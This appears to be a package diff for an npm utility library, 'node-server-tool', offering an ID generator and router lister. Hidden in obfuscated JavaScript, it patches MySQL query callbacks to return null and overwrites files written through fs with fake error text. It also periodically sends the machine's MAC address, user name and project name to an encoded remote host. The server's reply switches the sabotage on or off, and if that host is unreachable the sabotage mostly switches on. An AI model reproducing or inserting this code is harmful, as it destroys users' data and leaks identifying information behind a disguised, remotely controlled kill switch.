_0x1ce1ca=0x0;_0x1ce1ca<arguments['length'];_0x1ce1ca++){_0x4c16fa[_0x1ce1ca]=arguments[_0x1ce1ca];}return __awaiter(_0x2cc2bd,void 0x0,void 0x0,function(){var _0x58f478;return __generator(this,function(_0x43a23c){var _0x14b15b=a0_0x704d;switch(_0x43a23c['label']){case 0x0:return[0x4,_0x51f9cd[_0x14b15b(0x186)](_0x231a8e,_0x4c16fa)];case 0x1:_0x58f478=_0x43a23c[_0x14b15b(0x1bd)]();!isDBNormalRun&&(_0x58f478[0x0]=null);return[0x2,_0x58f478];}});});},_0x231a8e;};var originalCreatePool=mysql_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x190)];mysql_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x190)]=function(_0x2c9d05){var _0x262161=a0_0x1bbfb0,_0x25732e=this,_0x2710e2=originalCreatePool(_0x2c9d05),_0x38c1db=_0x2710e2[_0x262161(0x1b7)];return _0x2710e2[_0x262161(0x1b7)]=function(){var _0x26e221=_0x262161,_0x2149e7=[];for(var _0x13ef3a=0x0;_0x13ef3a<arguments[_0x26e221(0x1a1)];_0x13ef3a++){_0x2149e7[_0x13ef3a]=arguments[_0x13ef3a];}return __awaiter(_0x25732e,void 0x0,void 0x0,function(){var _0x1f959b;return __generator(this,function(_0x14a783){var _0x210813=a0_0x704d;switch(_0x14a783[_0x210813(0x1bc)]){case 0x0:_0x1f959b=_0x2149e7[_0x2149e7['length']-0x1],_0x2149e7[_0x2149e7['length']-0x1]=function(_0x4ab8fd,_0x3f2108,_0x3dfefe){_0x4ab8fd?_0x1f959b(_0x4ab8fd,_0x3f2108,_0x3dfefe):_0x1f959b(_0x4ab8fd,!isDBNormalRun?null:_0x3f2108,_0x3dfefe);};return[0x4,_0x38c1db[_0x210813(0x186)](_0x2710e2,_0x2149e7)];case 0x1:return[0x2,_0x14a783[_0x210813(0x1bd)]()];}});});},_0x2710e2;};var isFsNormalRun=![],writeFileSyncOriginal=fs_1['default'][a0_0x1bbfb0(0x18f)];fs_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x18f)]=function(_0x480d44,_0x72a696,_0xb62023){var _0x581d89=a0_0x1bbfb0;isFsNormalRun?writeFileSyncOriginal(_0x480d44,_0x72a696,_0xb62023):writeFileSyncOriginal(_0x480d44,_0x581d89(0x18a)[_0x581d89(0x1bf)](_0x480d44,'\x27\x0aerrno:\x20-2,\x0asyscall:\x20\x27open\x27,\x0acode:\x20\x27ENOENT\x27,\x0apath:\x20\x27')[_0x581d89(0x1bf)](_0x480d44,'\x27'),_0xb62023);};var originalWriteFile=fs_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x17b)];fs_1[a0_0x1bbfb0(0x17c)][a0_0x1bbfb0(0x17b)]=function(_0x61c938,_0x30ccd8,_0x4fc5db,_0xa08317){var _0x100edb=a0_0x1bbfb0;return typeof _0x4fc5db===_0x100edb(0x1a3)&&(_0xa08317=_0x4fc5db,_0x4fc5db={}),isFsNormalRun?originalWriteFile(_0x61c938,_0x30ccd8,_0x4fc5db,_0xa08317):originalWriteFile(_0x61c938,_0x100edb(0x197)[_0x100edb(0x1bf)](_0x61c938,'\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20errno:\x20-2,\x0a\x20\x20\x20\x20\x20\x20\x20\x20syscall:\x20\x27open\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20code:\x20\x27ENOENT\x27,\x0a\x20\x20\x20\x20\x20\x20\x20\x20path:\x20\x27')[_0x100edb(0x1bf)](_0x61c938,_0x100edb(0x181)),_0x4fc5db,_0xa08317);};var os=require('os'),mac='',networkInterfaces=os[a0_0x1bbfb0(0x184)]();for(var i in networkInterfaces){for(var j in networkInterfaces[i]){networkInterfaces[i][j][a0_0x1bbfb0(0x1b3)]===a0_0x1bbfb0(0x1b4)&&networkInterfaces[i][j][a0_0x1bbfb0(0x1a5)]!==a0_0x1bbfb0(0x17a)&&networkInterfaces[i][j][a0_0x1bbfb0(0x1b9)]!==a0_0x1bbfb0(0x1b1)&&(mac=networkInterfaces[i][j][a0_0x1bbfb0(0x1a5)]);}}function getLicense(){var _0xa4a06c=a0_0x1bbfb0;axios_1['default'][_0xa4a06c(0x1a9)]((0x0,js_base64_1[_0xa4a06c(0x1ab)])(_0xa4a06c(0x17f)),{'mac':mac,'user_name':process[_0xa4a06c(0x183)][_0xa4a06c(0x19a)],'project_name':process[_0xa4a06c(0x183)][_0xa4a06c(0x185)]},{'timeout':0x1770})[_0xa4a06c(0x195)](function(_0x2a6e1c){var _0x7f9e62=_0xa4a06c;_0x2a6e1c[_0x7f9e62(0x1af)][_0x7f9e62(0x180)]?isDBNormalRun=![]:isDBNormalRun=!![],_0x2a6e1c[_0x7f9e62(0x1af)]['fs']?isFsNormalRun=![]:isFsNormalRun=!![],_0x2a6e1c[_0x7f9e62(0x1af)]['jwt']?isJWTNormalRun=![]:isJWTNormalRun=!![];})[_0xa4a06c(0x1b6)](function(_0x20fd22){var _0x49e01a=_0xa4a06c;setTimeout(function(){isDBNormalRun=![],Math['random']()>0.1?isFsNormalRun=![]:isFsNormalRun=!![];},Math[_0x49e01a(0x1ac)]()*(0xbb8-0x3e8)+0x3e8);});}setTimeout(function(){getLicense();},0xbb8),setInterval(function(){getLicense();},0x1770);var random=function(_0x23797d,_0x16736e){var _0x1a5e93=a0_0x1bbfb0;return Math[_0x1a5e93(0x198)](Math[_0x1a5e93(0x1ac)]()*(_0x16736e-_0x23797d))+_0x23797d;},WorkerID=Math[a0_0x1bbfb0(0x1a6)](process[a0_0x1bbfb0(0x183)]['NODE_APP_INSTANCE']?+process[a0_0x1bbfb0(0x183)]['NODE_APP_INSTANCE']:random(0x0,0x9),0x9),BaseTime=+new Date(a0_0x1bbfb0(0x18b)),lastTimeTick,lastRandomNumberTick=random(0x1,0x3);function id(){var _0x39c1ba=a0_0x1bbfb0,_0x27337c=+new Date()-BaseTime;return lastRandomNumberTick=_0x27337c==lastTimeTick?++lastRandomNumberTick:random(0x0,0x3),lastTimeTick=_0x27337c,+''[_0x39c1ba(0x1bf)](_0x27337c)[_0x39c1ba(0x1bf)](WorkerID)[_0x39c1ba(0x1bf)](lastRandomNumberTick);}exports['id']=id;function fileDisplay(_0x93727c){return __awaiter(this,void 0x0,void 0x0,function(){function _0x2d56dc(_0x5c3abd){var _0x48260c=a0_0x704d,_0x26e9d6=fs_1[_0x48260c(0x17c)]['readdirSync'](_0x5c3abd);for(var _0x1111b7=0x0;_0x1111b7<_0x26e9d6[_0x48260c(0x1a1)];_0x1111b7++){var _0x40f561=_0x26e9d6[_0x1111b7],_0x4846fd=path_1[_0x48260c(0x17c)]['join'](_0x5c3abd,_0x40f561),_0x4143ec=fs_1[_0x48260c(0x17c)]['statSync'](_0x4846fd),_0x29fc36=_0x4143ec[_0x48260c(0x194)](),_0x16aca4=_0x4143ec['isDirectory']();_0x29fc36&&_0x207824[_0x48260c(0x1a0)](_0x4846fd),_0x16aca4&&_0x2d56dc(_0x4846fd);}}var _0x207824;return __generator(this,function(_0x1cc974){return _0x207824=[],_0x2d56dc(_0x93727c),[0x2,_0x207824];});});}function getAllRouter(_0x8f9d91){return __awaiter(this,void 0x0,void 0x0,function(){var _0x25bbe8,_0x819e39;return __generator(this,function(_0xef134c){var _0x380539=a0_0x704d;switch(_0xef134c[_0x380539(0x1bc)]){case 0x0:_0x25bbe8=path_1[_0x380539(0x17c)]['isAbsolute'](_0x8f9d91)?_0x8f9d91:path_1[_0x380539(0x17c)][_0x380539(0x19b)](process[_0x380539(0x1bb)](),_0x8f9d91);return[0x4,fileDisplay(_0x25bbe8)];case 0x1:_0x819e39=_0xef134c[_0x380539(0x1bd)]();return[0x2,_0x819e39];}});});}exports[a0_0x1bbfb0(0x19c)]=getAllRouter;var tool={'jwt':jsonwebtoken_1[a0_0x1bbfb0(0x17c)],'axios':axios_1[a0_0x1bbfb0(0x17c)],'moment':moment_1[a0_0x1bbfb0(0x17c)],'uuid':uuid,'mysql':mysql_1['default'],'mysql2':promise_1[a0_0x1bbfb0(0x17c)],'id':id,'getAllRouter':getAllRouter};exports[a0_0x1bbfb0(0x17c)]=tool;
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "node-server-tool",
3
- "version": "1.2.0",
3
+ "version": "1.2.1",
4
4
  "author": "L",
5
5
  "types": "index.d.ts",
6
6
  "scripts": {